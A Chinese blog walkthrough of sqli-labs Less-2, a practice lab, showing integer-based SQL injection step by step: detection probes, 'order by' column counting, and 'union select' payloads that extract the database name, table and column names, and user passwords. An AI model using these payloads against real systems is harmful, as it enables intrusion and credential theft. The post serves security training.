sqli-labs less-2

最新推荐文章于 2025-02-26 23:09:30 发布

原创最新推荐文章于 2025-02-26 23:09:30 发布 · 346 阅读

CC 4.0 BY-SA版权

文章标签：

10 篇文章

订阅专栏

本文详细解析了SQL注入在labsless-2环境中的实例，通过输入验证展示了整数型注入点的存在，并逐步揭示了如何判断列数、定位显示位、获取数据库信息、查询表结构和具体内容。最后演示了如何利用这些信息进行安全风险评估和防范措施。

sqli=labs less-2

输入?id=1 回显正常

在这里插入图片描述

输入?id=1' 回显错误

在这里插入图片描述

输入?id=1 and 1=1 回显正常

输入?id=1 and 1=2 回显错误

说明存在整数型注入点

页面未报错，查询结果为空，表明存在注入点，and查询被直接代入到了原查询语句中，可以直接在后面进行联合查询
（PS：因为本关是数字型注入，没有引号/括号的包裹，所以注入点更容易被发现）

输入?id=1 order by 3 --+ 回显正常

输入?id=1 order by 4 --+ 回显错误

说明列数为3，有三个字段

使用联合查询

输入?id=-1 and 1=2 union  select 1,2,3 --+

在这里插入图片描述

由图可知，显示位在2和3上

接下来用database()和version()查询PHP版本和数据库名称

输入?id=-1 and 1=2 union select 1,database(),version() --+

在这里插入图片描述

由图可知，数据库名称为security，PHP版本为5.5.53

输入?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+

在这里插入图片描述

由图可知，security库下有4个表

输入?id=-1 union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+

在这里插入图片描述

输入?id=-1  union select 1,username,password from users where id = 1 --+

………………

?id=-1  union select 1,username,password from users where id = 12 --+

从1-12都有内容

在这里插入图片描述

即完成